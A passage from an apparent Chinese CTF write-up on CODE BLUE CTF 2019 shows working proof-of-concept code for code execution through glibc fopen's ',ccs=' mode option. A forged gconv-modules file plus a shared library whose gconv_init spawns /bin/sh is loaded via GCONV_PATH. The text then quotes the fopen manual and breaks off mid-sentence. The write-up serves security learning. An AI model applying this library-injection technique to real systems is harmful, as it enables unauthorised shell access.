0x01 介绍
最近,我在打CODE BLUE CTF 2019决赛,里面有一道题目是通过fopen的第二个参数进行RCE,奇热在这篇文章我会详细说明解这道题目的方法。
首先,将下面两个文件放在/home/user目录:
gconv-modules module PAYLOAD// INTERNAL ../../../../../../../../home/user/payload module INTERNAL PAYLOAD// ../../../../../../../../home/user/payload
payload.c #include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { puts("pwned"); system("/bin/sh"); exit(0); }
使用 gcc payload.c -o payload.so -shared -fPIC编译payload.c。
然后,将以下代码放在同一目录中:
poc.c#include <stdio.h> #include <stdlib.h> int main(void) { putenv("GCONV_PATH=."); FILE *fp = fopen("some_random_file", "w,ccs=payload"); }
编译并运行就会得到一个shell:
user:/home/user$ gcc poc.c -o poc user:/home/user$ ./poc pwned $
0x02 分析
会得到shell的主要原因是GCONV_PATH和ccs=payload 根据手册可以看到,glibc fopen具有几个扩展功能:
Glibc notes The GNU C library allows the following extensions for the string specified in mode: c (since glibc 2.3.3) Do not make the open operation, or subsequent read and write operations, thread cancellation points. This flag is ignored for fdopen(). e (since glibc 2.7) Open the file with the O_CLOEXEC flag. See open(2) for more information. This flag is ignored for fdopen(). m (since glibc 2.3) Attempt to access the file using mmap(2), rather than I/O system calls (read(2), write(2)). Currently, use of mmap(2) is attempted only for a file opened for reading. x Open the file exclusively (like the O_EXCL flag of open(2)). If the file already exists, fopen() fails, and sets errno to EEXIST. This flag is ignored for fdopen(). In addition to the above characters, fopen() and freopen() support the following syntax in mode: ,ccs=string The given string is taken as the name of a coded character set and the stream is marked as wide-oriented. Thereafter, internal conversion functions convert I/O to and from the character set string. If the ,ccs=string syntax is not specified, then the wide- orientation of the stream is determined by the first file operation. If that operation i